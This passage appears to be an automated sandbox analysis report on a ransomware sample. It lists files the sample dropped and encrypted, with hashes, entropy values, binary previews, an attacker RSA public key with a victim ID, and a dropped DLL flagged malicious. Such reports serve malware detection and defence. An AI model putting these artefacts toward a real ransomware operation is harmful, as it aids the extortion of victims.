SHA1:	E588A1DA8F07E56851E314CC9CF79409A4298984
SHA-256:	80EAFF22C49B57FCBC1257F8A6A862DF7DCF6BCF50ABB6535E7C19D804E89EB1
SHA-512:	7D4423BDD49D49D1D6CDB292656153AA0B95F7DF36781899EB8310909EF60D04873780556F7013746E98D859B259AB868162C6767166CE3616D8FA3EE75C3A5D
Malicious:	false
Preview:	CMMM .bn.;.).p.......E.u..vf...%.{N......@..,..m.y.a.+zyN..(0.5.b....%`(dz...{...wx?:..z.[.<......C.....M...S.9p.\.i......c.w.}..H.7....C.Z.Z.....5."n{.I./.\.4.Z....d...L.n.S}~..J.1.U.iq.....k..T..h....YR.b.^G.U...:.k...A6F$..aA..IL.M.yAr.....(<.2.8V.BY....4u@....,:u..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.325883697824327
Encrypted:	false
SSDEEP:	6:qROMSMuuCqT4K4AuOsIN+dbRumtI2XO42TmIYrBSAwJfHEdDpQ2WMzjhPcii96Z:qdzLCqlOmN+dbJIl7ZYlSAwREZmejVcq
MD5:	22806781E5F4EDA3680B7591D4AD6DF5
SHA1:	DCCF89BD28097B5BBA625BE4D5B91656431F6496
SHA-256:	A178CC82C0F596D7EC3A16EC86B5B9B386596AC32CD088CB7823E3400D459F1F
SHA-512:	0F4EE415DEC49BAD06A0CE761EA07E5B1BC3C9BD584E80303E71FD28B5A6D915BFC3C7424DD6CA794E72854C571F37B7188B1340126A672E839C3D57C2F083B8
Malicious:	false
Preview:	CMMM ....x..l.2".D....@..@........G..B..L....(...<H=.3.....6..........27.S} .-#.......B.6t...'......\pc6..I...D..m?.N..>}.G..~...H.*.h.4.B..;.~.J..[.d,d...5..F.T...U...nn....'.....7.6.3..................[.d9..2.6...7B.(q}b.`.v..jE.K.....?u.$N7`..-,..............>..@itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7688888928240272
Encrypted:	false
SSDEEP:	6144:XYL6XeJWJnTBk9r48oRr44qjH/WtMLxOLQ:oL6OgNk988oReWtM1WQ
MD5:	7469119C5AF2B8E7ADB48B65FB083B56
SHA1:	C13AB3B784B69D73F24095F3379E1371923E4E11
SHA-256:	A6E8EA0DE8B413DBA496C71645EA1EA6744605D10C2539455ABBF9ABCAB86B7A
SHA-512:	D5959A5DE1603BCD32A28844776F4C5E3652C41A45C06712ADB7B4D8DC13AF65706A760A93E282455ECD086AFCF7EE4CC5D65180884B70B5A5B00AFC3AE2324F
Malicious:	false
Preview:	CMMM .9.H.!8.-...S.<.).z.....Su8h.E.nVP...."^.{.E!WG.9...4....l...j....-K.B..%.a&.!.. 4....uu.>tR,..$:!.V.)_l.u...o.......].+.D..F..._.`'~.g(1.h.%.4........h....j..v.3O..S..&i.")...Ji.x9p3.\.(.,..n....5}..Q.K.q.......^....5.I.~,;.s.h.6.c..#.l.H<....8O..K~....8.fh.Q... ..9x..v.)..'M.].@[.Q<..3Y.%&...Uu... b...o..n.x.G.....l...d..VwD....n.fL8'u#...LIn..k .K.>./V..i.g.'.c.D...b.Q....CxReKS.MO..V8g.\|.{.U....\........-D..G...N.4........H..4HaT.@.&.}...H.Y.rF."K..~...O8....r\L..p..D~+..m.....0QGP.".......Uz.``...}....8..&...l^.N..H..'.....O.... v);...z.7..1Kr"....u....h..A..T.i.'~^<../f.ud.g...r.x/.(G..I A.......x.I..Ts..n..R.$.u....!...g.a.....<G.$...k..._$...^61...y...P..t.Y&Lu.V.x[..7f2........C.l..a%w....7W:9a~.}...u1K..........:`&qN1.!...]..`;..QznA.`R..b...G-......B..5z_...H.C@..f/.j..7.....<...j.!......I..&....s[W....A.n....-m....D.V._.\|FB...f...v..C..~.I...( .g".w.t.S.;.."G......'......w.?].*.O.^;...@.......j.....1.............Z.1g.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.1725682148258505
Encrypted:	false
SSDEEP:	6:CZ1teWhgCrkdE3KcI5cFPLFjhkUv1Z+KXnEjH2aQEswFAi0f9Ay0ic+Lrw9fHMzZ:CUWK5cFpd1HErCQU0i9Le2jVcii9a
MD5:	32FF9511BB359DF816D0A8A89E1085F6
SHA1:	CB9533588A044E8D0EBFC91972A58B395390E082
SHA-256:	39C20EA7F70BEFEC23ADE77FE68C25503F2E5067C6E0940C7D424EDEAAB76FCA
SHA-512:	599D66DD10C75B551CA8F6D94EEA851C0DA50740BE726BEE1B713FCCC6C89FE94D8C54CCAFD7D951474EBD596888A857A3E865FCDDB915D434F40FA2C8BD48BA
Malicious:	false
Preview:	CMMM d..r2@..C...n.d.1..>.omrs.7\W.= ...%..&C..4 <J.C.-Y..qk....].[..f..XP....N..d....1z..........u..].....m^]P..y...aXz.BF...c.d.R.d...o..#.Wo........Td..F.u....lp..:.l.$.....&..X...S......u..._F...@.a}..s..a......x'..zX.-J.QS.._.g.M!.c.C.0..b.......+*.1...E..].d.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	4.355619276243859
Encrypted:	false
SSDEEP:	49152:wyr6eBlnJNVkgH9Ky0r/8+qrYEUKxJoPJ8:R6eBlnJNVkgH9Kyq8/rYEUKxJoPJ8
MD5:	D237B1F091CB805C008FCDFA1FCE6DE1
SHA1:	79FA9D200472B20E42DE3DD51CB0FAB2C09A7919
SHA-256:	51798329F504B0088E35E5219C347647E6E33166C98DA5AD691E479372503EE1
SHA-512:	5E8B808AAFB344213E8D1B52A31DB6AE6544285C198F81231AF0D75507A3E12AFBFC0F8A7D0D9A24C62E301F41762B5DC6056E5B357BDD181715C16FE1704B2D
Malicious:	false
Preview:	CMMM ..HL...L.3.....@....u...BW......N.}.:./<P..0.Q.&..r..b..G.......%.5.....G.....7d.bb.<.r.%.gX.}SZ^...&.1...0>.!...r.o.....@[....L4.Sh5.R.,..\|.\"QoD.9........}..,.$..!C1{I....c..9MR5...4-.H..}&SAw.p.6....Os....I..P..H....&ZJC......wXe..$h.N....g.......E.n.Lv.~70..e.A...g...^...G8."kEnh.4w...R\|..g......3.N).a.E..>c...&..@Ti..<..2.. .\...?6.?..../....C:....>sE.E....U.Q}..6...Bg.s.e.l.G.YZ...W...F.K...x..nU..BF..k..wE..i=....z.......Tw...Q.V.e..'..[k^....XI..\..!3.z.......z..s`E.N_....E.w.V. ..A...+H.kz....p..w...RR.9.#.7...>A.\|H.w^."...s..5.F....\..................f7..3.v..i.\c.C...Q0._.=...H...O..c2.M96.........Q....f...@.5..E.eF....J.)..j6TI$.[.}...Zl.&.+O....a7.0.H..D.lL.....y.O.m.#..oe.....G...5D.A.\|[.p.6.s..0..).X.8=.....t..@..i...9..u....1....V,....F..#p_.1.a.1..G......l....%......2*n.1e.g.7.......5H ....k!..iR])...kK.j..I.?-....t....x...l..,...aS..GL.;j..[.x....O...n0ra.D...P...gO.op.@.1.... .p...H.q..z...^..C.).]..

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3037263668995465
Encrypted:	false
SSDEEP:	6:JZBJDKWbW+P2U+kBfiW37JTDxr7eLMK/aXG07/MxATWc3p2zjhPcii96Z:JTJcmpBd3tTDxA/aXGe/9b3psjVcii9a
MD5:	05BA59BAF4B7A325DCDF412F1F58599B
SHA1:	02B3CD9A1028092E7BDED9A147BA8F43847C9E22
SHA-256:	2C2D3C1E320245601E65AC8760CC7EBD51463A6E7AD3445CF3D70772EE249D05
SHA-512:	F5AC6A8B2A86D390898F5E8A5F88A07C96E77166D4F9DBC5196092DE41FCE4F6BE9FB8E2782E3D51FE55C18896F69242963F107ACFA8B9B2AA229F232A286D57
Malicious:	false
Preview:	CMMM ..L...c;WI....5...m`.JG.M..fmc<..L....r1e..`.Oz..j.g..ms....g..=5Jh.&!.hP...,"..8u#..>..Ha.'...1...(..?....d..v.{x...Z...6.*.....6D.E..D%..f.Z.........r5a..w..[../.].t....s..J....@tu....N....B...sZv...Dq.O@..j(7..-.......:.v...d..2..^;......3..`.3...0.y....5..H....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.286272037079751
Encrypted:	false
SSDEEP:	6:rb5/rCbK0NMJqegVrDdfFlcEFWkswAL21oAmGCGYzjhPcii96Z:n5aKYMJqegVrtFlcEUlwAC1oA/CG6jVX
MD5:	62B1B1D0BC486AA8C9A6C57A85AA6A07
SHA1:	731F20798090029CAF54AE79A98C75BA2D35EC46
SHA-256:	CE922606634682497A5966AA15BA3492334B34CD4722533B371A65657F71B131
SHA-512:	16006FD361A4FD19FC4CA4C331B502D68A777F2EDC68B748B2BED299772EBEB4C8DD5F7EB3E83B21D101E051B8490889206B7AFAA29CCA2EEC7F9088BECF5C1C
Malicious:	false
Preview:	CMMM ..................Y;'./.F......5%O.sw.^.V."..7._.....%.X.S....#Q.......kM+.W......x.1....P.u.\.....!A.d.v......;....uZh..O-...t.Z..... r....E6.}^.........B.N...Q`.l.y~...KH...ud..rv.I..].......E..Y.L..&.-....z.......!JT....W.}......Fv.H.6..]d...>........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2921121575133645
Encrypted:	false
SSDEEP:	6:iGVdN2qQlGFpM6mme2OCKpLMI3A1RUpXRJ9hCIxxULgxYWn8KzjhPcii96Z:iGt25EFpo32Ob9akKgn8QjVcii9a
MD5:	36530B11B274AD6AAC487239B186F365
SHA1:	96AABDEDE1CD79F0E83E0FF5B6CDAC3DA04FF1CF
SHA-256:	98032726B2990209911D995842D61EEA87F4B9C4AC59915D3CE5E19AAA421F58
SHA-512:	2E1976410B1D4D5A0DDA35FEFA5DC4E0AB8320D9A21981EB9DA5D7CF553F2B99023128341A1177C41D2026D8D176FA92EB64D17638FB2A19245C6D783CFBE89D
Malicious:	false
Preview:	CMMM ..L..z....UT6.9..X..C(..8e_......X.L.......aUB....7..<+....y.q.jy8..-........A.'....X.'f....1g..I.@..NL.p......oQ.."..S....%.Z.E.q.m.6)N.?.Zt.z...W.4s5.....M...\bz...1..`.6#xe{.[;,s.Zd(...........E(...j.....y..{.4.y%o,...".q9..DWL.j...I...2...VuL.Z..1..H.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.31466532489087
Encrypted:	false
SSDEEP:	6:SUKwJxvDDgHrcyF3KWpt1+GRpLfGBk+Xw+cVIxQUitF8AbCVweDMzjhPcii96Z:SUKwJZoHI63KWpfRpLKXHGF3CVweDej9
MD5:	A73068030BF04703EAF4501FC1E97686
SHA1:	08F593C8C6A12C784795A6F5CF60BC32A5FC6BFF
SHA-256:	A183F14BF31654EE51BC8322C4A88017DEF299FA2F3B9A57E9827F851467DAD2
SHA-512:	9033FC600D408344FC05EE0555C0109A73622942BF9849938E30445C6ED1E67BB03F816FD2B513581A03C43F818E597EB56C035DFA67FC41E4744A541A833775
Malicious:	false
Preview:	CMMM l.VU.j..@./.l.V....rT.<$...E...Rz.5E..`&...w.....N9...wZT.".M... K^.....7:...?.B..}d.>S.>.g..X.....&........>.Z...\...o.......R.O..Q.`d..c6b;.?.J....I.&.7...o.l_..3....... .:So..bd.....f..Qk.........(f\....%...pf..$(......Al.....gb..'h.....}.z.._...W....o.7...}.^.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.27853209313236
Encrypted:	false
SSDEEP:	6:RnPYSVbxPgC057ZKK6lyBvIUKUCJwPGFpdbQkczl70KE9fRVnzo5Qh3bIMzjhPcq:RnPN1PH0TJ6lyZIUK9HuVzhurVzaQRsk
MD5:	4F6854FDD92E9D3E3D512EE09F4B85E0
SHA1:	834C8C302B9B93B58B0292F8C0B92C89B4BFB236
SHA-256:	735989A331646F1D8765E049ED58565CD8169D6968FEDA0FBDD6DA1CF00BCDAC
SHA-512:	0BDD8988A9CC8ECA68E457A3A13C2DED0CA7C57B9A9DD41E8B5D163138A82545C96C0CC6548E31ECF7090112BCB602C9933A56FC4D61049ECF4FD784C5337831
Malicious:	false
Preview:	CMMM .1.W}A1h_....q.9..BT.....}..8-e.WG.....7.T.A...'O\|b...K..g+.j.R.< te.......!.R.O...n....B........J.......$..P....nUT.V..b..?....A.....=... ,.0. 5........%D.C...'00I......_.N..W..QvHC...$...i._6....R.@Yz.^S....4...=B..R.Q.{..y.......c;.N..j`D....j.)...2.,Nitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199673019888[1].htm

Download File

Process:	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe
File Type:	data
Category:	dropped
Size (bytes):	34124
Entropy (8bit):	7.994742611756817
Encrypted:	true
SSDEEP:	768:21Z5K62phL65zzWFGCC609FiZOUU4ZmDBzDUeh6w019CfaK:SZ5k6pE0a0UdcB//Mw0mfaK
MD5:	2196AD4F92A20581AB37B79A5D467C20
SHA1:	36B3F1D340F54A2C40432EB36ECE13BA84351AD5
SHA-256:	CDAF09EE186C69C4DA062D8AC652636709A2F9216929C1B35670D7364E1E8959
SHA-512:	78FA7D7CB8F3B8808378825F99443BE42141F46072257BA4749DBE3A8C4D17332F451F44B9C4578BA90C46EC37F8D9716BA08C91C179A5AE9CEE5DCAE3DDBE1F
Malicious:	true
Preview:	<!DOC{WBK.O......e.....Qr......F....V...B..}.b.qUn...N..F'.}..Z..'....Y.........W.^_..\|d)_m.........c..!;$..y...[x.MS.=.@(..Jk...<f.p....G.E=.A]..-..<_..0.z.b../.......y.Hr.;V...;.\:].......=....".9scyW..I.u.'.....x.!..:Q.U.(n?..>............4...?...82;../.}>8....3...7./.3....4..!.V..d$-.b.e..1.......3..^..U..r,$..&.>.+f..P.....I... ...Z.....HI..K8.l..n./.4%..5.......MY......m..../..%..B......F\|...e..^ .9..:.{#e.@...t.r4Yu..T..-..ZrP.-..2Ae.#......3..}.gQ....E.}Q..D.60.......f..1.....b....w'."k...6.%..3.H....r..3j...C..........+.3C?.....o9v.l.."..>;..V.C.....Sk...&Y.....+nK.JE.n.d.....;.%..C..a...l.U..1....n3..$.....f\|..Q.........'.j...f..n.YM...N. ..z.11..}..#$I.........;s...t.B..)U...e... ..p....$..K..n..`...'G..V.GK.D9xZ.;..T..m..5..<.lVS^......{..8..A...(.......H..cvR..i..>5.K'........=a......y/.....i..).Z...}/Y..Ya...-.....2...K+.Xp.=.${..6.mQ....6lh.>.vS\.Q.G.b...%z.L.t+......<..6..._2...jZ.Dn.K..L..r...\|`.O.E?.!L.....y..y..(w....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\get[1].htm

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	561
Entropy (8bit):	5.9828662910216766
Encrypted:	false
SSDEEP:	12:YGJ68lQXgmPtgGqyADw8kMY+KxRVHaSufZn+5JjW:YgJlsgqtgGy0+9S+sTW
MD5:	7E86EE7980B5359B6E02333F336BCB3A
SHA1:	566593CB97935F0571A4BEC8D0505D88DE109686
SHA-256:	7BE5BEC795F6D0C0EDB34A2227C12B73D25BA72E54B5DDCE5AE40AFA813BC3F1
SHA-512:	78EDBE6E166F8C77643B6D49A1A383977380C7B55B51B1DEFB79E1333C361EF6D5476AC09C88BEEF8464BA89DE6224F56B56D737FDB73C347CF311CF8AEBEA55
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag8Nrb6xgfVPcc2dqQWJuO7woEiHGghK7Z1F2SOxz\/p\\nIu5pa1Tz2\/5WnhdJrIp8vanGLQUX1rmckhNhU9UeXgAuhqTI7v866woml\/q06dHx\\nz90ihti25++wDXZqKUm9VtMf+c1rvufALCTdeiIAIpEBLZdMAKKBdCCgTgt1DBhK\\nU7OjETFYJTG1B7w7xxlf0z7r4+fgb68dp3vo5WHvcfoBw\/TLBjD7T8xTZ\/Cn9j0b\\n\/VwHGbdJUODPrOnQ1rs4gOOpz9XPuMUnqEomJcQpI74Ak3+lgpp04ByowIUbFCV5\\nAwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\get[2].htm

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	561
Entropy (8bit):	5.9828662910216766
Encrypted:	false
SSDEEP:	12:YGJ68lQXgmPtgGqyADw8kMY+KxRVHaSufZn+5JjW:YgJlsgqtgGy0+9S+sTW
MD5:	7E86EE7980B5359B6E02333F336BCB3A
SHA1:	566593CB97935F0571A4BEC8D0505D88DE109686
SHA-256:	7BE5BEC795F6D0C0EDB34A2227C12B73D25BA72E54B5DDCE5AE40AFA813BC3F1
SHA-512:	78EDBE6E166F8C77643B6D49A1A383977380C7B55B51B1DEFB79E1333C361EF6D5476AC09C88BEEF8464BA89DE6224F56B56D737FDB73C347CF311CF8AEBEA55
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag8Nrb6xgfVPcc2dqQWJuO7woEiHGghK7Z1F2SOxz\/p\\nIu5pa1Tz2\/5WnhdJrIp8vanGLQUX1rmckhNhU9UeXgAuhqTI7v866woml\/q06dHx\\nz90ihti25++wDXZqKUm9VtMf+c1rvufALCTdeiIAIpEBLZdMAKKBdCCgTgt1DBhK\\nU7OjETFYJTG1B7w7xxlf0z7r4+fgb68dp3vo5WHvcfoBw\/TLBjD7T8xTZ\/Cn9j0b\\n\/VwHGbdJUODPrOnQ1rs4gOOpz9XPuMUnqEomJcQpI74Ak3+lgpp04ByowIUbFCV5\\nAwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll

Download File

Process:	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: rq0mVjR9ar.exe, Detection: malicious, Browse Filename: 8jvTeVxooN.exe, Detection: malicious, Browse Filename: UXNob1Dp32.exe, Detection: malicious, Browse Filename: mJVVW85CnW.exe, Detection: malicious, Browse Filename: JfOWsh7v0r.exe, Detection: malicious, Browse Filename: AaIo4VGgvO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	83120
Entropy (8bit):	7.998058023983155
Encrypted:	true
SSDEEP:	1536:e5m4VSWXIDYtD2yWYQRD7UmVFXrf/9uu73ia/LcQv8pUm3qayj1xNgEEVp5NNP+z:eRJXIDBcgXpl7OpUEgRxNg15N0z
MD5:	9121A2F776597165E30996FECA3A4AC2
SHA1:	CD9FDACB69D072C70F00E5F947706A5E61C34CC2
SHA-256:	89F8F3939E7A40280D5A06EC848E7B0D68495913B9B12BDBFFE8AE43E7CD3D42
SHA-512:	8AEB19B5C47732B9FF502F609C7A8099B2F36F61D23C2769B75D9115F19B988FE3C9FDFAA55BECCD0FCD15DA1BC9C2BCB546A25ABF3050CA94E626E902E0CA72
Malicious:	true
Preview:	'use ..M.K..IUZ..K.R...XMM.nz.?=.x.jUJ...K.-.iO...@W..'. .q........Z......J.g0.9?.IU.....A.Y...79Ie.X....=`w.g...tUPr.q.0.h}.w.>/.............L..2pS....#..j.w.b......)..>.I.....0L...3%%~..xM.9......@.]...R..{.a..J9fs!F.'C.......N<..l_....'(.<d.]0.. .p"8..5#.B.K7..9....y,O...T5M#.Mt.s$.].B.3&c.Wl..7.j..L.M...z_.Z.IOVf.m.@./7.C3..Iy.....l2__IKv...\.x..(AM....qS..x...?.F.....cS..^......uE..];..q%.b....}...&..U..$FQ./..M.).ft?.A/'R.GQ.W..L`...qZ.-.3..+.w]F...X.(.1p.HR.cA...&........skJt.7A..{f...>. ....n.`p......Q.2.....R;......i...y;.2...].....fr.....Z...u{.T.{...1)-....1..,....hR..2....Cz..&...R0...1...jb..h.....Y.&Z...d..!....r..\|u...t..w.%b....3...{c}2...O.4/ T..6=R.)fl...V.....\EjjK[Qn.......(..^2G .4....i.]...0..!dq[....`.....%&.8..+...(.......r.E..Z.....4a....l.;..~.e.?.\|e.0.9....D...(`.6.....,.........0....a..Y..~$.0...C...k.u!9......G.g....SLV...J....>.=......i..2......+\..r.W.M....a"...4._<YyG..........b....6.`.q..........[.

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	31496
Entropy (8bit):	7.994281710011755
Encrypted:	true
SSDEEP:	768:Gt0Cr9prEnN0zdZi4fNTw0ZifYxl3ACTNeK+LHRBDb88YnMG2wZwZuey:2rtPiuNM0Tl3BNmBDQ8YMGFyZuV
MD5:	F60E0EFFAC98F4B7D7F09E1AD8F8962F
SHA1:	D3C3AAECD7CABC6B4B2F8B7E4E9A42D5765D2BCB
SHA-256:	8F8C878800BE5B50D0ED5699FF187D98737AA3909B4763788864E75C2D7366D4
SHA-512:	BC2C9D70C06D4F4E492AA4300760C323FCCA5B534B99CD38E047948E5B43DEE0697462CFFC3C0DBB6304E132ED684FBEEC1120CE6935B8686DFE05C7D585E095
Malicious:	true
Preview:	'use r.^&...\|..bMxO..$..Y...=.....D6..k.}S.Fhe .[.#.M.b.....R....tZ\|`.......r..U..B.1.s.F...&.a.@..(...,M......^-.H..q.t...H.}..Db........^...1.}R.x..G..E...q.y;HN...EuX..Zs.K6D.m}..tR...O..D..%..q..S...l.#....9.}^w.>.b......a...T..uB...j.s...=a.98qlNpj...&v....Q.G.R.......a.g.f.."....p...\...m..z.a.....az?...yM"..M..d5r.C.s...<=.o...[....8.\|....i..1.7.9..B?..?.p..<.-.(..;(.......?II.....2J.......}9E.....V{.....@jV\..K...T%.dM.@......L..0'#.#.z\t .%...t.._..M/(?..v.'......GW.a...&~6.lU..rj.gc.....mRCH6\|.5.2.z;.h.2.%@44./;0...-.r../.<..R+_...z..*v.k[..$E..3c.4..Y;.@...J+2...`...Azx.(...t.8.{.3.SW^..,.U.~..>..g!&.@L..F.C......4,........?....n..<...eMsl[h.5......}e..\.@..Z.a. ..E.P.V..{>0./}....?..v..O2.l...~n.c)..5.n.H}9..FM......c........}e..KDG..r#3...g...h...Q.....Q..........=.....]p]..K`4...[;.....8\|%.3..g=....7Di.+B...B+..._.1.S.4.....c..x........%4q...........fn.gj...\$.....^..^;.(..o.M.O...R..3C...a..^.c.@........v"...7..VX.6

C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.997069742839774
Encrypted:	true
SSDEEP:	1536:orSsVBIAJpS06qF9E9C0Mg+pEnZBLgAWSUQSSyEiuakJ0aI:rcBHiqUC0MXmn/Lgm/SSyEivBaI
MD5:	CBE6D8D375E8C2428CD5E101FB9B98B2
SHA1:	ECDEB2AC4F207D4F0726ACCFF90638CB909D2E10
SHA-256:	697CCFC1B5D6B94BFC033BF324F39C13671B0C5776C75A489A49C5FE0F0D5D73
SHA-512:	583A77C94527F3785A5F79BB836D73BCDD00BCAC43F23F2C9BFA97FC6B38BAF0DF5F6E6C4F2C9CC629B79CE8E61A939875BCD257FA0A6194585D9B87CDF9E895
Malicious:	true
Preview:	<?xml..'Ym..H....T..zyF...m..... ..Kq~...d.?..!q@.J..%\\|.. /..B./.+.b'.._.0....0...aV.....v..g..".~.L..cC.S5Q...n1..0]h.~..-.Q...g..S.y9...sP..#.\"N<..<(..C.e..M......E...2..J4...?`....FH.....U..2k ...'6Sh`..fm,.)...=.mv...[..P.l..`...B.6..h@..}N...Y.bk.8.u.CS.r.....T..."&......lx..z.g.O..@o... i....+D......$K~..+t.iz~.E...."..x.."1y...cP.:L...vZG..)u..%~...WT;..........%...I..;$".A&nBv......`....`.FaO+....e..{.....!.G....... ...lo!.'.M......S.. -_SI,... i....6S5+#...XY.....c&\|\|...{.c.M&....H.l.9Q.L#.....k.7n......Y.zE........Y..&o&..K#M=...r.....n../\|1...j....6.O..........X.0)}\|..n.p[3u..!:b,......p....-"........Eb=.3A..YB..xW.8.B.......X.z.....vV.vw.kn.B....{../.&.....d#..I..A.Rh~.H....~...Y.8~.C.....3q.d<P.0.....C.m.u.;GK.............k...\|b.... .....b.........).S_...KqYs...)&a=g..N.8.{f/C.A.7.B....v...;^....2.9..D.&...X...T....=....y=..[.og.?.O...T,....,..=.P.z[^.6..,u...cf.:.A.i..p.....o._.S.O.(..d.',. ^..].^....2...3.`B].,.q..

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978745785238982
Encrypted:	false
